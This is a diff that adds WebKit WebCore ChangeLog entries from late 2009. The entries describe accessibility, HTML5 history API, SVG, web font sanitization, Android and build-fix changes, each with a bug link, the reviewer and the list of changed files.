+        Reviewed by Eric Seidel.
+
+        OwnPtr<Tokenizer> Document::m_tokenizer;
+        https://bugs.webkit.org/show_bug.cgi?id=32145
+
+        The document actually owns the tokenizer.  That's what the code should say.
+
+        * dom/Document.cpp:
+        (WebCore::Document::removedLastRef):
+        (WebCore::Document::~Document):
+        (WebCore::Document::cancelParsing):
+        (WebCore::Document::implicitOpen):
+        (WebCore::Document::implicitClose):
+        * dom/Document.h:
+        (WebCore::Document::tokenizer):
+
+2009-12-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        OwnPtr<RenderArena> Document::m_renderArena;
+        https://bugs.webkit.org/show_bug.cgi?id=32146
+
+        The document owns the renderArena.  That's what the code should say.
+
+        * dom/Document.cpp:
+        (WebCore::Document::Document): Also, removed a redundant initialization
+        of the tokenizer that I missed in my previous patch.
+        (WebCore::Document::~Document):
+        (WebCore::Document::attach):
+        (WebCore::Document::detach):
+        * dom/Document.h:
+        (WebCore::Document::renderArena):
+
+2009-12-03  Drew Wilson  <atwilson@chromium.org>
+
+        Rolling back r51633 because it causes a chromium perf regression.
+
+        * platform/graphics/SimpleFontData.h:
+        * platform/graphics/mac/ComplexTextControllerCoreText.cpp:
+
+2009-12-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        The code should say that Document owns DocLoader
+        https://bugs.webkit.org/show_bug.cgi?id=32143
+
+        It's the truth.
+
+        * dom/Document.cpp:
+        (WebCore::Document::~Document):
+        * dom/Document.h:
+        (WebCore::Document::docLoader):
+
+2009-12-03  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        AX: VO just says "term" on many web sites
+        https://bugs.webkit.org/show_bug.cgi?id=32139
+
+        Test: platform/mac/accessibility/definition-list-term.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityDescription):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper subrole]):
+        (-[AccessibilityObjectWrapper roleDescription]):
+
+2009-12-03  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Implement WAI-ARIA scrollbar role and related property aria-orientation
+        https://bugs.webkit.org/show_bug.cgi?id=32126
+
+        Test: accessibility/aria-scrollbar-role.html
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::createARIARoleMap):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isScrollbar):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::valueForRange):
+        (WebCore::AccessibilityRenderObject::orientation):
+        (WebCore::AccessibilityRenderObject::canHaveChildren):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        * html/HTMLAttributeNames.in:
+
+2009-12-03  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fixed <rdar://problem/7401617> Selection painting issue in hardware-
+        accelerated layers
+        which is another part of https://bugs.webkit.org/show_bug.cgi?id=23628
+        Fix selection painting to do container-relative repaints
+
+        Test: fast/repaint/block-selection-gap-in-composited-layer.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::selectionGapRectsForRepaint): Compute and paint
+        gap rects in the coordinate space of the repaint container.
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::recursiveRepaintLayerRect): Added a
+        FIXME.
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::setSelection): Map block selection gap rects from
+        the repaint container’s coordinate space to the view’s coordinate space
+        before adding them to the cached selection bounds.
+        (WebCore::RenderView::clearSelection): Changed to use
+        repaintRectangleInViewAndCompositedLayers() so that the selection rect
+        is invalidated in composited layers as well.
+
+2009-12-03  Jonathan Dixon  <joth@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Bug 32066 - Add enable geolocation flag to WebCore::Settings for Chromium
+        https://bugs.webkit.org/show_bug.cgi?id=32066
+
+        Adds geolocationEnabled in Settings for runtime control of geolocaiton features. This defaults to ON
+        as it is intended as a development and testing aid, not a user control. To completely remove geolocation
+        from a given port, the compile time ENABLE_GEOLOCATION should still be used.
+        Adding placeholder GeolocationServiceChromium implementation, as this is required to allows
+        ENABLE_GEOLOCATION to be defined (in turn required for testing), even though this patch does not
+        make that the default just yet.
+
+        * WebCore.gypi:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings): Add new m_geolocationEnabled flag default value
+        (WebCore::Settings::setGeolocationEnabled): Setter for  m_geolocationEnabled flag
+        * page/Settings.h:
+        (WebCore::Settings::geolocationEnabled):  Add m_geolocationEnabled flag
+        * platform/chromium/GeolocationServiceChromium.cpp: Added.
+        (WebCore::GeolocationServiceChromium::GeolocationServiceChromium): Place holder GeolocationServiceChromium)
+        (WebCore::createGeolocationService): factory function, only required when ENABLED(GEOLOCATION) is true
+
+2009-12-03  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by John Sullivan.
+
+        SpinTracer: 349 spins in Mail at WebCore::Editor::advanceToNextMisspelling(bool)
+        <rdar://problem/7198592>
+        https://bugs.webkit.org/show_bug.cgi?id=32129
+
+        Fixed the way the next paragraph is calculated.
+        I've added a repro case in Safari and attached it to the Bugzilla bug.
+
+        * editing/Editor.cpp:
+        (WebCore::findFirstMisspellingOrBadGrammarInRange): Changed the way we move to the
+        next paragraph in the loop.
+
+2009-12-03  Oliver Hunt  <oliver@apple.com>
+
+        Build fix
+
+        * svg/SVGListTraits.h:
+        (WebCore::):
+
+2009-12-03  Oliver Hunt  <oliver@apple.com>
+
+        Build fix
+
+        * svg/SVGListTraits.h:
+        (WebCore::):
+
+2009-12-03  Brady Eidson  <beidson@apple.com>
+
+        No wonder editing WebCore.exp repeatedly while I worked on this patch never seemed to stick.
+
+        Long live our auto-generated overlords that I didn't know about...  
+
+        * WebCore.base.exp:
+
+2009-12-03  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        REGRESSION (r51627): 3 SVG tests are failing
+        https://bugs.webkit.org/show_bug.cgi?id=32117
+
+        Null checking Items in the SVGList is insufficient as items may
+        be floats, etc so add SVGListTraits::isNull and add appropriate
+        specializations.
+
+        Test: svg/dom/svglist-exception-on-out-bounds-error.html
+
+        * svg/SVGList.h:
+        (WebCore::SVGListTypeOperations::isNull):
+        (WebCore::SVGList::initialize):
+        (WebCore::SVGList::insertItemBefore):
+        (WebCore::SVGList::replaceItem):
+        (WebCore::SVGList::appendItem):
+        * svg/SVGListTraits.h:
+        (WebCore::):
+
+2009-12-03  Brady Eidson  <beidson@apple.com>
+
+        No review - release build fix.
+
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::documentDetached):
+
+2009-12-03  Brady Eidson  <beidson@apple.com>
+
+        No review - release build fix.
+
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::pushState):
+
+2009-12-03  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Multiple Undos removes the last posted comment and/or the ones before it.
+        <rdar://problem/6557066>
+        https://bugs.webkit.org/show_bug.cgi?id=32079
+        
+        The fix consists in preventing Undos and Redos to be applied to elements that
+        are no longer editable. We do not attempt to remove the commands from the queue.
+        It is a relatively simple fix that comes with a little extra overhead for the apply
+        and unapply methods where we are now performing the editability check.
+
+        Test: editing/undo/undo-indent-noneditable.html
+
+        * editing/AppendNodeCommand.cpp:
+        (WebCore::AppendNodeCommand::doApply):
+        (WebCore::AppendNodeCommand::doUnapply):
+        * editing/DeleteFromTextNodeCommand.cpp:
+        (WebCore::DeleteFromTextNodeCommand::doApply):
+        (WebCore::DeleteFromTextNodeCommand::doUnapply):
+        * editing/InsertIntoTextNodeCommand.cpp:
+        (WebCore::InsertIntoTextNodeCommand::doApply):
+        (WebCore::InsertIntoTextNodeCommand::doUnapply):
+        * editing/InsertNodeBeforeCommand.cpp:
+        (WebCore::InsertNodeBeforeCommand::doApply):
+        (WebCore::InsertNodeBeforeCommand::doUnapply):
+        * editing/JoinTextNodesCommand.cpp:
+        (WebCore::JoinTextNodesCommand::doApply):
+        (WebCore::JoinTextNodesCommand::doUnapply):
+        * editing/MergeIdenticalElementsCommand.cpp:
+        (WebCore::MergeIdenticalElementsCommand::doApply):
+        (WebCore::MergeIdenticalElementsCommand::doUnapply):
+        * editing/RemoveNodeCommand.cpp:
+        (WebCore::RemoveNodeCommand::doApply):
+        (WebCore::RemoveNodeCommand::doUnapply):
+        * editing/SplitElementCommand.cpp:
+        (WebCore::SplitElementCommand::executeApply):
+        (WebCore::SplitElementCommand::doUnapply):
+        * editing/SplitTextNodeCommand.cpp:
+        (WebCore::SplitTextNodeCommand::doApply):
+        (WebCore::SplitTextNodeCommand::doUnapply):
+        * editing/WrapContentsInDummySpanCommand.cpp:
+        (WebCore::WrapContentsInDummySpanCommand::doUnapply):
+        (WebCore::WrapContentsInDummySpanCommand::doReapply):
+
+2009-12-03  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/7214236> and http://webkit.org/b/32052 - Implement HTML5 state object history API
+
+        Tests: fast/loader/stateobjects/document-destroyed-navigate-back.html
+               fast/loader/stateobjects/document-destroyed-navigate-back-with-fragment-scroll.html
+               fast/loader/stateobjects/popstate-after-load-complete-addeventlistener.html
+               fast/loader/stateobjects/popstate-after-load-complete-body-attribute.html
+               fast/loader/stateobjects/popstate-after-load-complete-window-attribute.html
+               fast/loader/stateobjects/pushstate-object-types.html
+               fast/loader/stateobjects/pushstate-then-replacestate.html
+               fast/loader/stateobjects/pushstate-with-fragment-urls-and-hashchange.html
+               fast/loader/stateobjects/replacestate-then-pushstate.html
+               http/tests/loading/state-object-security-exception.html
+
+        Derived sources and project file changes:
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am
+        * WebCore.pro
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+
+        Add the new PopStateEvent:
+        * dom/PopStateEvent.cpp: Added.
+        (WebCore::PopStateEvent::PopStateEvent):
+        (WebCore::PopStateEvent::initPopStateEvent):
+        * dom/PopStateEvent.h: Added.
+        (WebCore::PopStateEvent::create):
+        (WebCore::PopStateEvent::isPopStateEvent):
+        (WebCore::PopStateEvent::state):
+        * dom/PopStateEvent.idl: Added.
+        * bindings/js/JSPopStateEventCustom.cpp: Added.
+        (WebCore::JSPopStateEvent::initPopStateEvent):
+        (WebCore::JSPopStateEvent::state):
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * dom/Event.cpp:
+        (WebCore::Event::isPopStateEvent):
+        * dom/Event.h:
+        * dom/EventNames.h:
+
+        Add the "onpopstate" attribute:
+        * html/HTMLAttributeNames.in:
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::parseMappedAttribute):
+        * html/HTMLBodyElement.idl:
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
+        * html/HTMLFrameSetElement.h:
+        * html/HTMLFrameSetElement.idl:
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+
+        Add pushState and replaceState management to the loader and history machinery:
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::JSHistory::pushState):
+        (WebCore::JSHistory::replaceState):
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::updateForSameDocumentNavigation): Augmented from "scrollToAnchor()", combining
+          both the same-document fragment scroll case with the new same-document state object activation case.
+        (WebCore::HistoryController::pushState):
+        (WebCore::HistoryController::replaceState):
+        * loader/HistoryController.h:
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::addItem): Use insertItemAfterCurrent.
+        (WebCore::BackForwardList::insertItemAfterCurrent): Optionally insert the item without clearing the forward
+          list, as pushStateItem might've selectively cleared only certain items, with the bulk of the forward list
+          meant to remain.
+        (WebCore::BackForwardList::pushStateItem): Clear the forward list *only* for the state item's document, then 
+          insert the new item.
+        (WebCore::BackForwardList::removeItem):
+        * history/BackForwardList.h:
+        * page/History.cpp:
+        (WebCore::History::urlForState):
+        (WebCore::History::stateObjectAdded):
+        * page/History.h:
+        * page/History.idl:
+
+        Let HistoryItems and Documents associate with each other, as well as letting HistoryItems contain state objects:
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::HistoryItem):
+        (WebCore::HistoryItem::~HistoryItem):
+        (WebCore::HistoryItem::setStateObject):
+        (WebCore::HistoryItem::setDocument):
+        (WebCore::HistoryItem::documentDetached):
+        * history/HistoryItem.h:
+        (WebCore::HistoryItem::stateObject):
+        (WebCore::HistoryItem::document):
+        * dom/Document.cpp:
+        (WebCore::Document::detach): Notify all back/forward history items owned by this Document that it
+          is going away.
+        (WebCore::Document::registerHistoryItem): Manage the list of back/forward history items this document owns.
+        (WebCore::Document::unregisterHistoryItem): Ditto.
+        * dom/Document.h:
+
+        Add the ability for Documents, DocumentLoaders, and FrameLoaderClients to be notified when a Documents
+        URL changes as the result of pushState(), replaceState(), or a popstate navigation:
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose): If there's a pending state object, dispatch the popstate event.
+        (WebCore::Document::updateURLForPushOrReplaceState):
+        (WebCore::Document::statePopped): If loading is complete, dispatch the popstate event. Otherwise, set 
+          the pending state object.
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::replaceRequestURLForSameDocumentNavigation):
+        * loader/DocumentLoader.h:
+        * loader/FrameLoaderClient.h:
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::dispatchDidChangeStateObjectForPageForFrame):
+
+        Change handling of "loading a HistoryItem" to distinguish between new-Document navigations and same-Document
+        navigations, combining the old concept of anchor scrolls with the new concept of state object navigations:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadInSameDocument):
+        (WebCore::FrameLoader::continueFragmentScrollAfterNavigationPolicy):
+        (WebCore::FrameLoader::navigateWithinDocument):
+        (WebCore::FrameLoader::navigateToDifferentDocument):
+        (WebCore::FrameLoader::loadItem):
+        * loader/FrameLoader.h:
+        * page/Page.cpp:
+        (WebCore::Page::goToItem): Changed to allow state object activations to pass through without the load stopping.
+
+2009-12-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: chromium build fix.
+        r51621 changed JS bindings only, broke v8's.
+
+        * bindings/v8/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::appendArgument):
+        * bindings/v8/ScriptFunctionCall.h:
+
+2009-12-03  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Attributes and NamedNodeMaps aren't tracked correctly and may be prematurely garbage-collected.
+        https://bugs.webkit.org/show_bug.cgi?id=32094
+
+        Covered by existing test: LayoutTests/fast/dom/Attr/access-after-element-destruction.html
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        (WebCore::V8DOMWrapper::convertNamedNodeMapToV8Object):
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::ObjectGrouperVisitor::visitDOMWrapper):
+        * bindings/v8/custom/V8CustomBinding.h:
+
+2009-12-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Chromium: Add support for settings containing ":"
+
+        https://bugs.webkit.org/show_bug.cgi?id=32118
+
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection):
+
+2009-12-03  Rafael Antognolli  <antognolli@profusion.mobi>, Kenneth Christiansen <kenneth@webkit.org>
+
+        Reviewed by Simon Fraser.
+
+        repaint events from outside the viewport aren't received
+        https://bugs.webkit.org/show_bug.cgi?id=32081
+
+        When using a tiled backing store for painting, you need to receive
+        event from outside the viewport. Setting the viewport to the size
+        of the contents is not an option if you want to make use of WebCore's
+        infrastructure for drawing scrollbars etc.
+
+        A new property, paintsEntireContents, has been introduced for the
+        above use-case. It is settable, as tiling will be optional for Qt,
+        and for the not yet upstreamed EFL port, there will be two different
+        views, where only one of them are tiled.
+
+        No change in behavior, so no new tests added.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::repaintContentRectangle):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::ScrollView):
+        (WebCore::ScrollView::setPaintsEntireContents):
+        (WebCore::ScrollView::wheelEvent):
+        * platform/ScrollView.h:
+        (WebCore::ScrollView::paintsEntireContents):
+
+2009-11-23  Jeremy Moskovich  <jeremy@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Switch Chrome/Mac to use Core Text APIs rather than ATSUI APIs.
+        https://bugs.webkit.org/show_bug.cgi?id=31802
+
+        No test since this is already covered by existing pixel tests.
+
+        * platform/graphics/SimpleFontData.h: Change #ifdef to define getNSFont() on Chrome/Mac .
+        * platform/graphics/mac/ComplexTextControllerCoreText.cpp: Provide forward declarations
+        of Core Text functions that are public on 10.6 but SPI on 10.5.
+
+2009-12-03  Pavel Feldman  <pfeldman@dhcp-172-28-174-220.spb.corp.google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Simplify the settings support in inspector controller.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32076
+
+        Test: inspector/settings-set-get.html
+
+        * WebCore.Inspector.exp:
+        * bindings/js/JSInspectorFrontendHostCustom.cpp:
+        * bindings/v8/custom/V8InspectorFrontendHostCustom.cpp:
+        * inspector/InspectorClient.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::~InspectorController):
+        (WebCore::InspectorController::setting):
+        (WebCore::InspectorController::setSetting):
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorController::attachWindow):
+        (WebCore::InspectorController::setAttachedWindowHeight):
+        (WebCore::InspectorController::storeLastActivePanel):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::showWindow):
+        (WebCore::InspectorController::enableResourceTracking):
+        (WebCore::InspectorController::disableResourceTracking):
+        (WebCore::InspectorController::ensureResourceTrackingSettingsLoaded):
+        (WebCore::InspectorController::enableProfiler):
+        (WebCore::InspectorController::disableProfiler):
+        (WebCore::InspectorController::enableDebuggerFromFrontend):
+        (WebCore::InspectorController::disableDebugger):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::setting):
+        (WebCore::InspectorFrontendHost::setSetting):
+        * inspector/InspectorFrontendHost.h:
+        * inspector/InspectorFrontendHost.idl:
+        * loader/EmptyClients.h:
+        (WebCore::EmptyInspectorClient::populateSetting):
+        (WebCore::EmptyInspectorClient::storeSetting):
+
+2009-12-03  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Brady Eidson.
+
+        [Android] notifyHistoryItemChanged() should pass a pointer to the HistoryItem that changed.
+        https://bugs.webkit.org/show_bug.cgi?id=31915
+
+        No change in functionality so no new tests required.
+
+        * history/HistoryItem.cpp:
+        (WebCore::defaultNotifyHistoryItemChanged): Update this function to pass the HistoryItem that is being changed.
+        (WebCore::HistoryItem::setAlternateTitle): Update call to notifyHistoryItemChanged to include the new parameter.
+        (WebCore::HistoryItem::setURLString): ditto.
+        (WebCore::HistoryItem::setOriginalURLString): ditto.
+        (WebCore::HistoryItem::setReferrer): ditto.
+        (WebCore::HistoryItem::setTitle): ditto.
+        (WebCore::HistoryItem::setTarget): ditto.
+        (WebCore::HistoryItem::setDocumentState): On Android, add a call to notifyHistoryItemChanged. See bug for a discussion of why this is needed.
+        (WebCore::HistoryItem::clearDocumentState): ditto.
+        (WebCore::HistoryItem::setIsTargetItem): ditto.
+        (WebCore::HistoryItem::addChildItem): ditto.
+        (WebCore::HistoryItem::setFormInfoFromRequest): ditto.
+        * history/HistoryItem.h: Update signature of notifyHistoryItemChanged.
+
+2009-12-03  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Brady Eidson.
+
+        [Android] The FrameLoaderClient is unaware of BackForwardList changes.
+        https://bugs.webkit.org/show_bug.cgi?id=31914
+
+        This change adds three new methods on the FrameLoaderClient interface to receive notifications when the BackForwardList changes.
+
+        No new tests required. Functionality on all platforms upstream remains the same. Android is the first platform to make use of these callbacks.
+
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::addItem): Execute the callback.
+        (WebCore::BackForwardList::goBack): ditto.
+        (WebCore::BackForwardList::goForward): ditto.
+        (WebCore::BackForwardList::goToItem): ditto.
+        (WebCore::BackForwardList::setCapacity): dito.
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::dispatchDidAddBackForwardItem): Add an empty implementation for the callback that does nothing.
+        (WebCore::EmptyFrameLoaderClient::dispatchDidRemoveBackForwardItem): ditto.
+        (WebCore::EmptyFrameLoaderClient::dispatchDidChangeBackForwardIndex): ditto.
+        * loader/FrameLoaderClient.h:
+
+2009-12-03  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Brady Eidson.
+
+        [Android] Upstream WebCore/history/android: Require some platform specific state attached to HistoryItem.
+        https://bugs.webkit.org/show_bug.cgi?id=31913
+
+        Android stores information such as the zoom scale factor and bridge back to the Java counterpart with HistoryItem.
+
+        No new tests required as this is Android specific code.
+
+        * history/HistoryItem.h: Add Android specific member data to HistoryItem.
+        * history/android: Added.
+        * history/android/AndroidWebHistoryBridge.h: Added.
+        * history/android/HistoryItemAndroid.cpp: Added, provides implementation for Android specific member functions in HistoryItem.
+        (WebCore::HistoryItem::bridge): Added.
+        (WebCore::HistoryItem::setBridge): Added.
+
+2009-12-03  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        NULL ptr in SVGPathSegList::getPathSegAtLength()
+        https://bugs.webkit.org/show_bug.cgi?id=30313
+
+        Add exception checks to SVGPathSegList's implementation to catch (and propagate) exceptions.
+        Add null checks to SVGList's content manipulation functions to prevent
+        null values from entering the list in the first place.
+
+        Test: svg/dom/svgpath-out-of-bounds-getPathSeg.html
+
+        * svg/SVGList.h:
+        (WebCore::SVGList::initialize):
+        (WebCore::SVGList::insertItemBefore):
+        (WebCore::SVGList::replaceItem):
+        (WebCore::SVGList::appendItem):
+        * svg/SVGPathElement.cpp:
+        (WebCore::SVGPathElement::getPathSegAtLength):
+        * svg/SVGPathElement.h:
+        * svg/SVGPathElement.idl:
+        * svg/SVGPathSegList.cpp:
+        (WebCore::SVGPathSegList::getPathSegAtLength):
+        (WebCore::SVGPathSegList::toPathData):
+        (WebCore::SVGPathSegList::createAnimated):
+        * svg/SVGPathSegList.h:
+
+2009-12-02  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Sanitize web fonts using the OTS library 
+        https://bugs.webkit.org/show_bug.cgi?id=31106
+
+        Add support for OpenType sanitizer (OTS). It parses OpenType files (from @font-face)
+        and attempts to validate and sanitize them. We hope this reduces the attack surface
+        of the system font libraries.
+
+        * WebCore.gyp/WebCore.gyp: Added dependency to (chromium_src_dir)/third_party/ots/ library.
+        * WebCore.gypi: Added new files below.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * platform/graphics/chromium/FontCustomPlatformData.cpp: Validate and transcode a web font.
+        (WebCore::createFontCustomPlatformData):
+        * platform/graphics/mac/FontCustomPlatformData.cpp: Ditto.
+        (WebCore::createFontCustomPlatformData):
+        * platform/graphics/opentype/OpenTypeSanitizer.cpp: Added.
+        (WebCore::OpenTypeSanitizer::sanitize):
+        * platform/graphics/opentype/OpenTypeSanitizer.h: Added.
+        (WebCore::OpenTypeSanitizer::OpenTypeSanitizer):
+
+2009-12-02  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Web Inspector frontend heap allocates ScriptFunctionCall which is unsafe
+        https://bugs.webkit.org/show_bug.cgi?id=32098
+
+        Fix is simply to make the ScriptFunctionCall stack allocated as nature intended.
+        Doing this required adding an appendArgument(char*) to ScriptFunctionCall so
+        that an explicit String cast would not be necessary.
+
+        To prevent something like this happening again in future i've added private
+        operator new implementations to ScriptFunctionCall making this type of mistake
+        produce errors when compiling.
+
+        Test case: Inspector tests now pass with GC on every alloc enabled.
+
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::appendArgument):
+        * bindings/js/ScriptFunctionCall.h:
+        (WebCore::ScriptFunctionCall::operator new):
+        (WebCore::ScriptFunctionCall::operator new[]):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::updateConsoleMessageRepeatCount):
+        (WebCore::InspectorFrontend::addResource):
+        (WebCore::InspectorFrontend::updateResource):
+        (WebCore::InspectorFrontend::removeResource):
+        (WebCore::InspectorFrontend::updateFocusedNode):
+        (WebCore::InspectorFrontend::setAttachedWindow):
+        (WebCore::InspectorFrontend::addRecordToTimeline):
+        (WebCore::InspectorFrontend::parsedScriptSource):
+        (WebCore::InspectorFrontend::failedToParseScriptSource):
+        (WebCore::InspectorFrontend::addProfileHeader):
+        (WebCore::InspectorFrontend::setRecordingProfile):
+        (WebCore::InspectorFrontend::didGetProfileHeaders):
+        (WebCore::InspectorFrontend::didGetProfile):
+        (WebCore::InspectorFrontend::pausedScript):
+        (WebCore::InspectorFrontend::setDocument):
+        (WebCore::InspectorFrontend::setDetachedRoot):
+        (WebCore::InspectorFrontend::setChildNodes):
+        (WebCore::InspectorFrontend::childNodeCountUpdated):
+        (WebCore::InspectorFrontend::childNodeInserted):
+        (WebCore::InspectorFrontend::childNodeRemoved):
+        (WebCore::InspectorFrontend::attributesUpdated):
+        (WebCore::InspectorFrontend::didRemoveNode):
+        (WebCore::InspectorFrontend::didGetChildNodes):
+        (WebCore::InspectorFrontend::didApplyDomChange):
+        (WebCore::InspectorFrontend::didGetEventListenersForNode):
+        (WebCore::InspectorFrontend::didGetCookies):
+        (WebCore::InspectorFrontend::didDispatchOnInjectedScript):
+        (WebCore::InspectorFrontend::addDatabase):
+        (WebCore::InspectorFrontend::selectDatabase):
+        (WebCore::InspectorFrontend::didGetDatabaseTableNames):
+        (WebCore::InspectorFrontend::addDOMStorage):
+        (WebCore::InspectorFrontend::selectDOMStorage):
+        (WebCore::InspectorFrontend::didGetDOMStorageEntries):
+        (WebCore::InspectorFrontend::didSetDOMStorageItem):
+        (WebCore::InspectorFrontend::didRemoveDOMStorageItem):
+        (WebCore::InspectorFrontend::updateDOMStorage):
+        (WebCore::InspectorFrontend::addNodesToSearchResult):
+        (WebCore::InspectorFrontend::evaluateForTestInFrontend):
+        * inspector/InspectorFrontend.h:
+
+2009-12-02  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32072, clean up invalid @-rule error handling so that we
+        pass more CSS test suite stuff.  Make the grammar stop enforcing the ordering of @namespace vs.
+        @variables vs. @import.  Just let the parser handle that instead.  This simplifies the grammar and
+        makes error handling deal with more cases correctly.
+
+        Added fast/css/namespaces/namespaces-invalid-at-rules.xml
+
+        * css/CSSGrammar.y:
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::CSSParser):
+        (WebCore::CSSParser::parseRule):
+        (WebCore::CSSParser::createCharsetRule):
+        (WebCore::CSSParser::createImportRule):
+        (WebCore::CSSParser::createMediaRule):
+        (WebCore::CSSParser::createKeyframesRule):
+        (WebCore::CSSParser::createStyleRule):
+        (WebCore::CSSParser::createFontFaceRule):
+        (WebCore::CSSParser::addNamespace):
+        (WebCore::CSSParser::createVariablesRule):
+        * css/CSSParser.h:
+
+2009-12-02  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Safari/Chromium for Windows fails to load CJK WebFonts
+        https://bugs.webkit.org/show_bug.cgi?id=31804
+        
+        * platform/graphics/opentype/OpenTypeUtilities.cpp:
+        (WebCore::renameAndActivateFont): Load a remote font even if the font has 2 or more faces.
+
+2009-12-02  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium: Need tickmarks in scrollbar
+        https://bugs.webkit.org/show_bug.cgi?id=32069
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * platform/chromium/ScrollbarThemeChromiumMac.h: Added.
+        * platform/chromium/ScrollbarThemeChromiumMac.mm: Added.
+
+2009-11-13  Timothy Hatcher  <timothy@apple.com>
+
+        Expose a function to set the value of an input element on behalf of the user.
+        This function will dispatch the change event so the page is notified when autofill
+        happens. Also dispatch a change event when a select element is changed by autofill.
+
+        <rdar://problem/6760590> Would like a way to detect a login form AutoFill from JavaScript
+
+        Reviewed by Darin Adler.
+
+        * WebCore.xcodeproj/project.pbxproj: Added the DOMHTMLInputElementPrivate.h header.
+        * bindings/objc/DOMHTML.mm:
+        (-[DOMHTMLSelectElement _activateItemAtIndex:]): Call setSelectedIndexByUser instead so
+        a change event is fired. This method is called by Safari autofill.
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode): Use dispatchFormControlChangeEvent instead
+        of dispatching the change event directly to be consistent.
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLInputElement::setValueForUser): Added. Calls setValue with the sendChangeEvent
+        (WebCore::HTMLInputElement::setValue): Added the optional sendChangeEvent argument. Mimics setChecked.
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl: Added setValueForUser for non-JS languages.
+        * html/InputElement.h: Added setValueForUser.
+
